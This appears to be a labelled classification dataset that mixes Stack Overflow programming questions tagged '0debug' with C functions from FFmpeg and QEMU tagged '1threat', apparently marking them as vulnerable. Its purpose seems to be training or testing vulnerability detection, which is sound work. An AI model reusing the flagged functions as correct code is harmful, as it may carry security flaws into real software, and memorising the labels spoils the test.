16 targetSdkVersion 23 versionCode 32 versionName "3.1" multiDexEnabled true manifestPlaceholders = [onesignal_app_id : "", // Project number pulled from dashboard, local value is ignored. onesignal_google_project_number: "REMOTE"] } configurations { all*.exclude group: 'com.android.support', module: 'support-v4' } configurations.all { resolutionStrategy.eachDependency { DependencyResolveDetails details -&gt; def requested = details.requested if (requested.group == 'com.android.support') { if (!requested.name.startsWith("multidex")) { details.useVersion '27.1.1' } } if (requested.group == 'com.google.android.gms') { details.useVersion '15.0.1' } if (requested.group == 'com.google.firebase') { details.useVersion '15.0.1' } } } buildTypes { release { minifyEnabled false // proguardFiles 'proguard.cfg' } } useLibrary 'org.apache.http.legacy' packagingOptions { exclude 'META-INF/LICENSE' exclude 'META-INF/LICENSE.txt' exclude 'META-INF/NOTICE.txt' exclude 'META-INF/DEPENDENCIES' } } repositories { maven { url "https://jitpack.io" } maven { url "https://dl.bintray.com/lukaville/maven" } maven { url 'https://maven.fabric.io/public' } maven { url 'https://maven.google.com' } mavenCentral() } dependencies { compile project(':FORTSDKv1.4.1') compile files('libs/nineoldandroids-2.4.0.jar') compile files('libs/gcm.jar') compile files('libs/httpclient-4.3.4.jar') compile files('libs/httpmime-4.2.5.jar') compile files('libs/HockeySDK-3.0.2.jar') compile files('libs/samsungpay-1.8.00.jar') compile project(':library-2.4.1') // Required for geotagging compile('com.crashlytics.sdk.android:crashlytics:2.6.8@aar') { transitive = true } compile('com.code-troopers.betterpickers:library:3.1.0') { exclude group: 'com.nineoldandroids', module: 'library' } compile 'com.android.support:support-v4:27.0.0' // https://mvnrepository.com/artifact/com.android.support/support-core-ui compile group: 'com.android.support', name: 'support-core-ui', version: '27.1.1' compile 'com.android.support:appcompat-v7:27.0.0' compile 'com.android.support:cardview-v7:27.0.0' compile 'com.android.support:customtabs:27.0.0' compile 'com.android.support:multidex:1.0.3' compile 'com.googlecode.libphonenumber:libphonenumber:8.8.9' compile 'org.parceler:parceler-api:1.1.5' compile('com.google.android.gms:play-services-analytics:11.8.0') { exclude group: 'com.android.support', module: 'support-v4' } compile 'com.google.android.gms:play-services-maps:15.0.1' compile 'com.google.android.gms:play-services-auth:15.0.1' compile 'com.google.android.gms:play-services-gcm:15.0.1' compile 'com.google.android.gms:play-services-location:15.0.1' // compile 'com.google.android.gms:play-services-analytics:11.8.0' compile 'com.github.hackware1993:MagicIndicator:1.5.0' compile 'com.roomorama:caldroid:2.3.1' compile 'com.google.code.gson:gson:2.8.1' compile 'com.leocardz:aelv:1.1@aar' compile 'com.flaviofaria:kenburnsview:1.0.7' compile('com.jakewharton:butterknife:8.4.0') { exclude module: 'support-compat' exclude group: 'com.google.android', module: 'support-v4' } compile 'com.pixplicity.easyprefs:library:1.8.1@aar' compile 'de.hdodenhof:circleimageview:2.2.0' compile 'com.github.jrvansuita:IconHandler:+' compile 'com.github.mancj:SlideUp-Android:2.2.5' compile 'com.afollestad:sectioned-recyclerview:0.5.0' compile 'com.github.bumptech.glide:glide:3.7.0' compile 'com.facebook.stetho:stetho:1.4.1' compile 'com.facebook.stetho:stetho-okhttp3:1.4.1' compile 'com.uphyca:stetho_realm:2.0.0' compile 'org.greenrobot:eventbus:3.1.1' compile 'com.birbit:android-priority-jobqueue:2.0.1' compile 'com.squareup.retrofit2:retrofit:2.3.0' compile 'com.squareup.retrofit2:converter-gson:2.1.0' compile 'com.squareup.retrofit2:converter-scalars:2.1.0' compile 'com.valdesekamdem.library:md-toast:0.8.0' compile 'com.facebook.android:account-kit-sdk:4.30.0' compile 'com.facebook.android:facebook-android-sdk:4.17.0' compile 'com.wang.avi:library:2.1.3@aar' compile 'com.afollestad.material-dialogs:core:0.9.6.0' // compile 'com.onesignal:OneSignal:3.6.5' compile 'com.onesignal:OneSignal:[3.9.1, 3.99.99]' compile 'com.kbeanie:image-chooser-library:1.6.0@aar' compile 'com.squareup.picasso:picasso:2.5.2' compile 'com.scalified:fab:1.1.3' compile 'com.github.traex.expandablelayout:library:1.2.2' compile 'com.github.markomilos:paginate:0.5.1' compile 'com.wdullaer:materialdatetimepicker:3.3.0' compile 'com.github.tamir7.contacts:contacts:1.1.7' compile 'com.android.support.constraint:constraint-layout:1.0.2' compile 'net.yslibrary.keyboardvisibilityevent:keyboardvisibilityevent:2.1.0' compile 'com.github.livechat:chat-window-android:v2.0.0' compile 'com.uber.sdk:rides-android:0.6.1' compile 'link.fls:swipestack:0.3.0' compile 'com.github.PhilJay:MPAndroidChart:v3.0.2' compile 'com.victor:lib:1.0.1' compile 'com.shamanland:fonticon:0.1.8' compile 'jp.wasabeef:recyclerview-animators:2.2.7' compile 'com.squareup.okhttp3:logging-interceptor:3.8.0' compile 'com.github.vihtarb:tooltip:0.1.9' compile 'com.daasuu:CountAnimationTextView:0.1.1' compile 'com.theartofdev.edmodo:android-image-cropper:2.5.1' compile('com.android.billingclient:billing:1.0') { exclude module: 'support-compat' exclude group: 'com.google.android', module: 'support-v4' } compile('de.keyboardsurfer.android.widget:crouton:1.8.5@aar') { // exclusion is not necessary, but generally a good idea. exclude group: 'com.google.android', module: 'support-v4' } compile 'com.nbsp:library:1.8' apt 'com.jakewharton:butterknife-compiler:8.8.1' apt 'org.parceler:parceler:1.1.5' compile 'com.google.guava:guava:19.0' compile 'org.bouncycastle:bcprov-jdk16:1.46' } apply plugin: 'com.google.gms.google-services' </code></pre> <p>Any suggestions or solutions are very appreciated. Thanks.</p>
0debug
My HTML and CSS files won't link pleas : <p>html is like so:</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;In Loving Memory of Jill Erin Hayes&lt;/title&gt; &lt;link rel="stylesheet" type="text/css" href="/additional_pages/fp_frye.css" /&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="maincontent"&gt; &lt;div id="left"&gt; &lt;h1&gt;Jill E. Hayes&lt;/h1&gt; &lt;ul&gt;&lt;li&gt;mother&lt;/li&gt; &lt;li&gt;&lt;a href="https://www.utm.edu/departments/finearts/vanguard/index.php"&gt;actress&lt;/a&gt;&lt;/li&gt; &lt;li&gt;election commissioner&lt;/li&gt; &lt;li&gt;and so very much more&lt;/li&gt; &lt;/div&gt; &lt;div id="right"&gt; &lt;h2&gt;Her Story&lt;/h2&gt; &lt;p&gt;Born to Jerry and Debbie Hayes in Henry, TN in 1980, Jill was always very creative and fun. She flew through school, active in 4-H and theatre, all while maintaining good grades and a positive outlook on life. She attended the University of Tennessee at Martin after graduating Henry County High School, and in college, she majored in theatre and was a very active member of UTM's Vanguard theatre program. She met Joseph Frye in college, and the married and had two children, Shelby, named after her favorite play, &lt;i&gt;Steel Magnolias&lt;/i&gt;, and Hayes, named for her maiden name.&lt;/p&gt; &lt;p&gt;Jill gave up her dreams of Broadway to be a mother, and she got a job as the Henry County Administrator of Elections, where she not only helped her police officer husband raise their family, but also was able to be active in the democratic system, which she had always been passionate about. She worked elections for fifteen years before illness struck, and she was forced to resign to focus on regaining her health.&lt;/p&gt; &lt;p&gt;Lupus is, unfortunately, into a disease that garners much attention, despite being a fatal one. Jill went to countless doctors attempting to find out what was wrong with her before she was finally diagnosed with lupus, an aggressive autoimmune disease. This on top of being forced to quit her job as well as the divorce that ended a regrettably failing marriage was hard on her, but she still persevered to be the mother that both of her children needed. She managed to live with lupus for six years, before passing away at her parents' home on October 18, 2015, just weeks before her 25th birthday.&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>And then my Css file is like this:</p> <pre><code>body { background-color:light-green; } #maincontent { background-color:white; width:680px; height:400px; padding-top:20px; padding-left:20px; padding-right:20px; } #left { background-color:light-pink; width:200px; float:left; height:200px; } #right { background-color:light-green; width:400px; float:left; margin-left:40px; height:200px; } </code></pre> <p>I don't understand why it won't link, and I've visited several other forum topics on this subject. I'm very new to coding - this is for a class required to graduate - and I need help.</p>
0debug
I'm looking for the javascript event that is triggered when a textbox is clicked? : I need to locate the trigger event that pops up the keyboard on a mobile device when a textarea is clicked, so I can fill a textarea popup I have created with the information in that textarea. I also need to attach the textarea I have created to the mobile keyboard. I am new to javascript, and struggling to find the trigger event in our website code. Anyone able to help me on this one?
0debug
static int ac3_decode_frame(AVCodecContext * avctx, void *data, int *data_size, uint8_t * buf, int buf_size) { AC3DecodeContext *ctx = avctx->priv_data; int frame_start; int i, j, k, l; float tmp0[128], tmp1[128], tmp[512]; short *out_samples = (short *)data; float *samples = ctx->samples; frame_start = ac3_synchronize(buf, buf_size); if (frame_start == -1) { av_log(avctx, AV_LOG_ERROR, "frame is not synchronized\n"); *data_size = 0; return -1; } init_get_bits(&(ctx->gb), buf + frame_start, (buf_size - frame_start) * 8); if (ac3_parse_sync_info(ctx)) { av_log(avctx, AV_LOG_ERROR, "fscod is not valid\n"); *data_size = 0; return -1; } if (ac3_parse_bsi(ctx)) { av_log(avctx, AV_LOG_ERROR, "bsid is not valid\n"); *data_size = 0; return -1; } avctx->sample_rate = ctx->sync_info.sampling_rate; if (avctx->channels == 0) { avctx->channels = ctx->bsi.nfchans + ((ctx->bsi.flags & AC3_BSI_LFEON) ? 1 : 0); ctx->output = AC3_OUTPUT_UNMODIFIED; } else if ((ctx->bsi.nfchans + ((ctx->bsi.flags & AC3_BSI_LFEON) ? 1 : 0)) < avctx->channels) { av_log(avctx, AV_LOG_INFO, "ac3_decoder: AC3 Source Channels Are Less Then Specified %d: Output to %d Channels\n", avctx->channels, (ctx->bsi.nfchans + ((ctx->bsi.flags & AC3_BSI_LFEON) ? 1 : 0))); avctx->channels = ctx->bsi.nfchans + ((ctx->bsi.flags & AC3_BSI_LFEON) ? 1 : 0); ctx->output = AC3_OUTPUT_UNMODIFIED; } else if (avctx->channels == 1) { ctx->output = AC3_OUTPUT_MONO; } else if (avctx->channels == 2) { if (ctx->bsi.dsurmod == 0x02) ctx->output = AC3_OUTPUT_DOLBY; else ctx->output = AC3_OUTPUT_STEREO; } avctx->bit_rate = ctx->sync_info.bit_rate; av_log(avctx, AV_LOG_INFO, "channels = %d \t bit rate = %d \t sampling rate = %d \n", avctx->channels, avctx->sample_rate, avctx->bit_rate); for (i = 0; i < 6; i++) { if (ac3_parse_audio_block(ctx, i)) { av_log(avctx, AV_LOG_ERROR, "error parsing the audio block\n"); *data_size = 0; return -1; } samples = ctx->samples; if (ctx->bsi.flags & AC3_BSI_LFEON) { ff_imdct_calc(&ctx->imdct_ctx_512, ctx->samples + 1536, samples, tmp); for (l = 0; l < 256; l++) samples[l] = (ctx->samples + 1536)[l]; float_to_int(samples, out_samples, 256); samples += 256; out_samples += 256; } for (j = 0; j < ctx->bsi.nfchans; j++) { if (ctx->audio_block.blksw & (1 << j)) { for (k = 0; k < 128; k++) { tmp0[k] = samples[2 * k]; tmp1[k] = samples[2 * k + 1]; } ff_imdct_calc(&ctx->imdct_ctx_256, ctx->samples + 1536, tmp0, tmp); for (l = 0; l < 256; l++) samples[l] = (ctx->samples + 1536)[l] * window[l] + (ctx->samples + 2048)[l] * window[255 - l]; ff_imdct_calc(&ctx->imdct_ctx_256, ctx->samples + 2048, tmp1, tmp); float_to_int(samples, out_samples, 256); samples += 256; out_samples += 256; } else { ff_imdct_calc(&ctx->imdct_ctx_512, ctx->samples + 1536, samples, tmp); for (l = 0; l < 256; l++) samples[l] = (ctx->samples + 1536)[l] * window[l] + (ctx->samples + 2048)[l] * window[255 - l]; float_to_int(samples, out_samples, 256); memcpy(ctx->samples + 2048, ctx->samples + 1792, 256 * sizeof (float)); samples += 256; out_samples += 256; } } } *data_size = 6 * ctx->bsi.nfchans * 256 * sizeof (int16_t); return (buf_size - frame_start); }
1threat
Warning "Kotlin plugin version is not the same as library version" (but it is!) : <p>I have an Android studio project in which I have added a Java library module, which I call <code>core</code>. My three Gradle build files look like this.</p> <p>project/build.gradle</p> <pre class="lang-gradle prettyprint-override"><code>buildscript { ext.kotlin_version = '1.2.40' repositories { google() jcenter() } dependencies { classpath 'com.android.tools.build:gradle:3.0.1' classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version" } } allprojects { repositories { google() jcenter() } } task clean(type: Delete) { delete rootProject.buildDir } </code></pre> <p>core/build.gradle</p> <pre class="lang-gradle prettyprint-override"><code>apply plugin: 'java-library' apply plugin: 'kotlin' dependencies { implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7" ... } </code></pre> <p>app/build.gradle</p> <pre class="lang-gradle prettyprint-override"><code>apply plugin: 'com.android.application' apply plugin: 'kotlin-android' apply plugin: 'kotlin-android-extensions' android { ... } dependencies { implementation project(':core') implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version" implementation 'com.android.support.constraint:constraint-layout:1.1.0' implementation 'com.android.support:appcompat-v7:27.1.1' androidTestImplementation 'com.android.support.test:runner:1.0.1' androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.1' testImplementation 'junit:junit:4.12' } </code></pre> <p>The problem I have is that, in <code>core/build.gradle</code>, the <code>kotlin-stdlib-jdk7</code> line is giving me the warning <code>Plugin version (1.2.40) is not the same as library version (jdk7-1.2.40)</code>. I have tried changing it to:</p> <p><code>implementation "org.jetbrains.kotlin:kotlin-stdlib"</code></p> <p><code>implementation "org.jetbrains.kotlin:kotlin-stdlib:1.2.40"</code></p> <p><code>implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.2.40"</code></p> <p><code>implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version"</code></p> <p><code>implementation "org.jetbrains.kotlin:kotlin-stdlib-jre7:$kotlin_version"</code></p> <p>But the warning is still there. The build still runs successfully, and I know I can surpress the warning without any problems and ignore it, but I really want to know why this is happening and how I can get rid of it. I am using Android Studio 3.0.1. Does anyone know of a solution to this?</p>
0debug
Getting Facebook user's public education info : <p>If I obtain a Facebook user id using the Graph API, is it possible to access that user's education that he publicly displays on his profile without him giving permission to my app to do so?</p>
0debug
How to validate dates in two different formats : <p>I am doing some junit test. I am getting the date as response in the form of date as below :</p> <pre><code>2017-08-14 00:00:00.0 +0:00 </code></pre> <p>The data which is present in oracle DB is </p> <pre><code>14-AUG-17 12.00.00.000000000 AM +00:00 </code></pre> <p>I want to use an assert like this but it is failing. can anyone help to make sure that both expected and actual matches.</p> <pre><code>Assert.assertEquals("14-08-2017", 2017-08-14 00:00:00.0 +0:00); </code></pre>
0debug
static int vhost_user_get_vring_base(struct vhost_dev *dev, struct vhost_vring_state *ring) { VhostUserMsg msg = { .request = VHOST_USER_GET_VRING_BASE, .flags = VHOST_USER_VERSION, .state = *ring, .size = sizeof(*ring), }; vhost_user_write(dev, &msg, NULL, 0); if (vhost_user_read(dev, &msg) < 0) { return 0; } if (msg.request != VHOST_USER_GET_VRING_BASE) { error_report("Received unexpected msg type. Expected %d received %d", VHOST_USER_GET_VRING_BASE, msg.request); return -1; } if (msg.size != sizeof(m.state)) { error_report("Received bad msg size."); return -1; } *ring = msg.state; return 0; }
1threat
Errors in Java Array : <p>I know that the problem lies in the command line, but I have tried every which way to find a way to solve it, but I have completely no idea how I can fix the array to not be zero. I am still really new to arrays and have looked everywhere in my textbook on how to do this, but the only example does not include arrays.</p> <p>here is the error I am getting.</p> <p>I am using Netbean</p> <pre><code>Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 0 at arraysize.Arraysize.main(Arraysize.java:20) </code></pre> <p>Here is my code as well</p> <pre><code>package arraysize; public class Arraysize { public static void main(String[] args) { int[] array = new int[ 10 ]; for ( int counter = 0; counter &lt; array.length; counter++) array[counter] = Integer.parseInt(args[counter]); System.out.printf("%s%8s\n", "Index", "Value"); for (int counter = 0; counter &lt; array.length; counter++) System.out.printf("%5d%8d\n", counter, array[counter]); } } </code></pre>
0debug
How to access data from a list in python and for the program to recognise whether it is even or odd : <p>I am trying to make it so that when a random number from 1 to 6 is generated the program will recognise it is an even or an odd number for example if i have a list of odd number and even numbers e.g</p> <pre><code>even=[2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30]; odd=[1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31]; </code></pre> <p>and the number generated is 3 i want the code to recognise it and print("odd") and same with even.</p>
0debug
Python issue when using line.replace() with space : <p>I am currently working on a few lines where i want to replace symbol semicolon ";" with symbol "]". I am using line.replace(";","]"). Somehow i find that it is not working when the location of the semicolon is not consistent in a line.</p> <p>Example:</p> <pre><code>input add_clk; #this one works where the output will be input add_clk] </code></pre> <p>However, it is not working for line below:</p> <pre><code>input sub_clk ; #tnothing change to the output, input sub_clk </code></pre> <p>The line that i used in my script is:</p> <pre><code>if ";" in line: line = line.replace(";","]") </code></pre> <p>Somehow i figured out that this problem may due to a space before the semicolon. Is there anyway the script can ignore the space so that the output will be input sub_clk] ?</p>
0debug
Change HTML file under certain circumstances : <p>I have various html files in which I need to fill 3 Code snippets at 3 different positions. once directly after head starts, once in beginning and once in the end of the body.</p> <p>I know where those html files are, cause I have a database for some other reasons, where I can also track down the html-files.</p> <p>So I can run my php, getting all the files from database, then I need to check if my codesnippets are already existing in each file, if they do I do nothing, if not I need to add the snippets.</p> <p>Even so php might not be the best choice, I do not have the time for now to learn something new (even though I appreciate tips, with which language this would work best for later)</p> <p>I checked similar posts, but I can´t find the answer i´m seeking for</p>
0debug
android.support.v4.content.FileProvider not found : <p>I am trying to upgrade a working old app to support Android API 26, and one of the thing I need to use is android.support.v4.content.FileProvider - but it was not found.</p> <pre><code> &lt;provider android:name="android.support.v4.content.FileProvider" android:authorities="${applicationId}.fileprovider" android:exported="false" android:grantUriPermissions="true"&gt; &lt;meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths" /&gt; &lt;/provider&gt; </code></pre> <p>Due to the early Android build, the gradle file seems simple. Is it as simple as adding a dependency? I have look around and some suggested adding a multidex which I don't understand. Any help is appreciated, thank you!</p> <pre><code>android { compileSdkVersion 26 buildToolsVersion '26.0.2' defaultConfig { applicationId "virtualgs.spaint" minSdkVersion 22 targetSdkVersion 26 } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.txt' } } } </code></pre>
0debug
I have something like this List<Map<String, String>> need to process list and map both any idea : I have something like this List<Map<String, String>> need to process list and map both any idea
0debug
What is the maximum length of an FCM registration ID token? : <p>Working with the "new" Firebase Cloud Messaging, I would like to reliably save client device <code>registration_id</code> tokens to the local server database so that the server software can send them push notifications.</p> <p><strong>What is the smallest size of database field that I should use to save 100% of client registration tokens generated?</strong></p> <p>I have found two <a href="https://github.com/Chitrank-Dixit/django-fcm/blob/master/fcm/models.py#L26">different</a> <a href="https://github.com/xtrinch/fcm-django/blob/master/fcm_django/models.py#L74">libraries</a> that use <code>TextField</code> and <code>VarChar(255)</code> but nothing categorically defining the max length. In addition, I would like the server code to do a quick length check when receiving tokens to ensure they "look" right - what would be a good min length and set of characters to check for?</p>
0debug
int vc1_decode_sequence_header(AVCodecContext *avctx, VC1Context *v, GetBitContext *gb) { av_log(avctx, AV_LOG_DEBUG, "Header: %0X\n", show_bits(gb, 32)); v->profile = get_bits(gb, 2); if (v->profile == PROFILE_COMPLEX) { av_log(avctx, AV_LOG_WARNING, "WMV3 Complex Profile is not fully supported\n"); } if (v->profile == PROFILE_ADVANCED) { v->zz_8x4 = ff_vc1_adv_progressive_8x4_zz; v->zz_4x8 = ff_vc1_adv_progressive_4x8_zz; return decode_sequence_header_adv(v, gb); } else { v->zz_8x4 = wmv2_scantableA; v->zz_4x8 = wmv2_scantableB; v->res_y411 = get_bits1(gb); v->res_sprite = get_bits1(gb); if (v->res_y411) { av_log(avctx, AV_LOG_ERROR, "Old interlaced mode is not supported\n"); return -1; } if (v->res_sprite) { av_log(avctx, AV_LOG_ERROR, "WMVP is not fully supported\n"); } } v->frmrtq_postproc = get_bits(gb, 3); v->bitrtq_postproc = get_bits(gb, 5); v->s.loop_filter = get_bits1(gb); if(v->s.loop_filter == 1 && v->profile == PROFILE_SIMPLE) { av_log(avctx, AV_LOG_ERROR, "LOOPFILTER shall not be enabled in Simple Profile\n"); } if(v->s.avctx->skip_loop_filter >= AVDISCARD_ALL) v->s.loop_filter = 0; v->res_x8 = get_bits1(gb); v->multires = get_bits1(gb); v->res_fasttx = get_bits1(gb); if (!v->res_fasttx) { v->vc1dsp.vc1_inv_trans_8x8 = ff_simple_idct; v->vc1dsp.vc1_inv_trans_8x4 = ff_simple_idct84_add; v->vc1dsp.vc1_inv_trans_4x8 = ff_simple_idct48_add; v->vc1dsp.vc1_inv_trans_4x4 = ff_simple_idct44_add; v->vc1dsp.vc1_inv_trans_8x8_dc = ff_simple_idct_add; v->vc1dsp.vc1_inv_trans_8x4_dc = ff_simple_idct84_add; v->vc1dsp.vc1_inv_trans_4x8_dc = ff_simple_idct48_add; v->vc1dsp.vc1_inv_trans_4x4_dc = ff_simple_idct44_add; } v->fastuvmc = get_bits1(gb); if (!v->profile && !v->fastuvmc) { av_log(avctx, AV_LOG_ERROR, "FASTUVMC unavailable in Simple Profile\n"); return -1; } v->extended_mv = get_bits1(gb); if (!v->profile && v->extended_mv) { av_log(avctx, AV_LOG_ERROR, "Extended MVs unavailable in Simple Profile\n"); return -1; } v->dquant = get_bits(gb, 2); v->vstransform = get_bits1(gb); v->res_transtab = get_bits1(gb); if (v->res_transtab) { av_log(avctx, AV_LOG_ERROR, "1 for reserved RES_TRANSTAB is forbidden\n"); return -1; } v->overlap = get_bits1(gb); v->s.resync_marker = get_bits1(gb); v->rangered = get_bits1(gb); if (v->rangered && v->profile == PROFILE_SIMPLE) { av_log(avctx, AV_LOG_INFO, "RANGERED should be set to 0 in Simple Profile\n"); } v->s.max_b_frames = avctx->max_b_frames = get_bits(gb, 3); v->quantizer_mode = get_bits(gb, 2); v->finterpflag = get_bits1(gb); if (v->res_sprite) { v->s.avctx->width = v->s.avctx->coded_width = get_bits(gb, 11); v->s.avctx->height = v->s.avctx->coded_height = get_bits(gb, 11); skip_bits(gb, 5); v->res_x8 = get_bits1(gb); if (get_bits1(gb)) { av_log(avctx, AV_LOG_ERROR, "Unsupported sprite feature\n"); return -1; } skip_bits(gb, 3); v->res_rtm_flag = 0; } else { v->res_rtm_flag = get_bits1(gb); } if (!v->res_rtm_flag) { av_log(avctx, AV_LOG_ERROR, "Old WMV3 version detected, some frames may be decoded incorrectly\n"); } if(!v->res_fasttx) skip_bits(gb, 16); av_log(avctx, AV_LOG_DEBUG, "Profile %i:\nfrmrtq_postproc=%i, bitrtq_postproc=%i\n" "LoopFilter=%i, MultiRes=%i, FastUVMC=%i, Extended MV=%i\n" "Rangered=%i, VSTransform=%i, Overlap=%i, SyncMarker=%i\n" "DQuant=%i, Quantizer mode=%i, Max B frames=%i\n", v->profile, v->frmrtq_postproc, v->bitrtq_postproc, v->s.loop_filter, v->multires, v->fastuvmc, v->extended_mv, v->rangered, v->vstransform, v->overlap, v->s.resync_marker, v->dquant, v->quantizer_mode, avctx->max_b_frames ); return 0; }
1threat
launch php script with arduino uno widi : I have an arduino uno wifi, and i'm trying to launch this php script with the RestClient example from UnoWifiDevEd library but i'm just able to connect the board to the server can somebody help me please ? here is the code : #include <Wire.h> #include <UnoWiFiDevEd.h> void setup() { const char* connector = "rest"; const char* server = "https://________.com"; const char* method = "POST"; const char* resource = "/send.php"; Serial.begin(9600); Ciao.begin(); pinMode(2, INPUT); delay(10000); doRequest(connector, server, resource, method); } void loop() { } void doRequest(const char* conn, const char* server, const char* command, const char* method){ CiaoData data = Ciao.write(conn, server, command, method); if (!data.isEmpty()){ Ciao.println( "State: " + String (data.get(1)) ); Ciao.println( "Response: " + String (data.get(2)) ); Serial.println( "State: " + String (data.get(1)) ); Serial.println( "Response: " + String (data.get(2)) ); } else{ Ciao.println ("Write Error"); } }
0debug
static int64_t coroutine_fn qcow_co_get_block_status(BlockDriverState *bs, int64_t sector_num, int nb_sectors, int *pnum) { BDRVQcowState *s = bs->opaque; int index_in_cluster, n; uint64_t cluster_offset; qemu_co_mutex_lock(&s->lock); cluster_offset = get_cluster_offset(bs, sector_num << 9, 0, 0, 0, 0); qemu_co_mutex_unlock(&s->lock); index_in_cluster = sector_num & (s->cluster_sectors - 1); n = s->cluster_sectors - index_in_cluster; if (n > nb_sectors) n = nb_sectors; *pnum = n; if (!cluster_offset) { return 0; } if ((cluster_offset & QCOW_OFLAG_COMPRESSED) || s->cipher) { return BDRV_BLOCK_DATA; } cluster_offset |= (index_in_cluster << BDRV_SECTOR_BITS); return BDRV_BLOCK_DATA | BDRV_BLOCK_OFFSET_VALID | cluster_offset; }
1threat
static void gen_load_exclusive(DisasContext *s, int rt, int rt2, TCGv addr, int size) { TCGv tmp; switch (size) { case 0: tmp = gen_ld8u(addr, IS_USER(s)); break; case 1: tmp = gen_ld16u(addr, IS_USER(s)); break; case 2: case 3: tmp = gen_ld32(addr, IS_USER(s)); break; default: abort(); } tcg_gen_mov_i32(cpu_exclusive_val, tmp); store_reg(s, rt, tmp); if (size == 3) { TCGv tmp2 = new_tmp(); tcg_gen_addi_i32(tmp2, addr, 4); tmp = gen_ld32(tmp2, IS_USER(s)); dead_tmp(tmp2); tcg_gen_mov_i32(cpu_exclusive_high, tmp); store_reg(s, rt2, tmp); } tcg_gen_mov_i32(cpu_exclusive_addr, addr); }
1threat
The problems of const data in c++ : <pre><code>const int *a = new int(100); int *ptr = (int*) a; cout &lt;&lt; *a &lt;&lt; endl; *ptr = 1000; cout &lt;&lt; *a &lt;&lt; endl; const int b = 100; int *c = (int*)&amp;b; *c = 200; cout &lt;&lt; &amp;b &lt;&lt; " " &lt;&lt; b &lt;&lt; endl; cout &lt;&lt; c &lt;&lt; " " &lt;&lt; *c &lt;&lt; endl; </code></pre> <p><a href="https://i.stack.imgur.com/OI4IA.png" rel="nofollow noreferrer">print out</a></p> <ol> <li>While I use *ptr, I can change the const data *a. Why?</li> <li>Both the address of b and *c are the same, but the data are different. Why?</li> </ol>
0debug
Python dictionary wih key value pair as value for a key : I want to know how to create a dictionary with key value pair and value should have another values. For (eg): {key:{value1 : [a,b,c] , value2 : [d,e,f] , value3 : [g,h,i] } } I tried, a = {} a.setdefault(key,{})[value] = a a.setdefault(key,{})[value] = b a.setdefault(key,{})[value] = c then a returns, { key: {value : c } } For value last one added is only getting. Can anyone help for this? Thanks in advance
0debug
static int rv10_decode_picture_header(MpegEncContext *s) { int mb_count, pb_frame, marker, h, full_frame; h = get_bits(&s->gb, 8); if ((h & 0xc0) == 0xc0) { int len, pos; full_frame = 1; len = get_num(&s->gb); pos = get_num(&s->gb); } else { int seq, frame_size, pos; full_frame = 0; seq = get_bits(&s->gb, 8); frame_size = get_num(&s->gb); pos = get_num(&s->gb); } get_bits(&s->gb, 8); marker = get_bits(&s->gb, 1); if (get_bits(&s->gb, 1)) s->pict_type = P_TYPE; else s->pict_type = I_TYPE; pb_frame = get_bits(&s->gb, 1); #ifdef DEBUG printf("pict_type=%d pb_frame=%d\n", s->pict_type, pb_frame); #endif if (pb_frame) return -1; s->qscale = get_bits(&s->gb, 5); if (s->pict_type == I_TYPE) { if (s->rv10_version == 3) { s->last_dc[0] = get_bits(&s->gb, 8); s->last_dc[1] = get_bits(&s->gb, 8); s->last_dc[2] = get_bits(&s->gb, 8); #ifdef DEBUG printf("DC:%d %d %d\n", s->last_dc[0], s->last_dc[1], s->last_dc[2]); #endif } } if (!full_frame) { s->mb_x = get_bits(&s->gb, 6); s->mb_y = get_bits(&s->gb, 6); mb_count = get_bits(&s->gb, 12); } else { s->mb_x = 0; s->mb_y = 0; mb_count = s->mb_width * s->mb_height; } get_bits(&s->gb, 3); s->f_code = 1; s->unrestricted_mv = 1; #if 0 s->h263_long_vectors = 1; #endif return mb_count; }
1threat
static void gen_mfsrin_64b(DisasContext *ctx) { #if defined(CONFIG_USER_ONLY) gen_inval_exception(ctx, POWERPC_EXCP_PRIV_REG); #else TCGv t0; if (unlikely(ctx->pr)) { gen_inval_exception(ctx, POWERPC_EXCP_PRIV_REG); return; } t0 = tcg_temp_new(); tcg_gen_shri_tl(t0, cpu_gpr[rB(ctx->opcode)], 28); tcg_gen_andi_tl(t0, t0, 0xF); gen_helper_load_sr(cpu_gpr[rD(ctx->opcode)], cpu_env, t0); tcg_temp_free(t0); #endif }
1threat
int ff_h264_check_intra_pred_mode(H264Context *h, int mode){ MpegEncContext * const s = &h->s; static const int8_t top [7]= {LEFT_DC_PRED8x8, 1,-1,-1}; static const int8_t left[7]= { TOP_DC_PRED8x8,-1, 2,-1,DC_128_PRED8x8}; if(mode > 6U) { av_log(h->s.avctx, AV_LOG_ERROR, "out of range intra chroma pred mode at %d %d\n", s->mb_x, s->mb_y); return -1; } if(!(h->top_samples_available&0x8000)){ mode= top[ mode ]; if(mode<0){ av_log(h->s.avctx, AV_LOG_ERROR, "top block unavailable for requested intra mode at %d %d\n", s->mb_x, s->mb_y); return -1; } } if((h->left_samples_available&0x8080) != 0x8080){ mode= left[ mode ]; if(h->left_samples_available&0x8080){ mode= ALZHEIMER_DC_L0T_PRED8x8 + (!(h->left_samples_available&0x8000)) + 2*(mode == DC_128_PRED8x8); } if(mode<0){ av_log(h->s.avctx, AV_LOG_ERROR, "left block unavailable for requested intra mode at %d %d\n", s->mb_x, s->mb_y); return -1; } } return mode; }
1threat
Java script to display partial value of the select tag : <p>I'm very new to javascript but I want to write a script for a select tag (for countries and their phone codes). I want it such that the dropdown list shows the country and code, but after the user selects only the code should be displayed. I'm using PHP to write the webpage. Thanks</p>
0debug
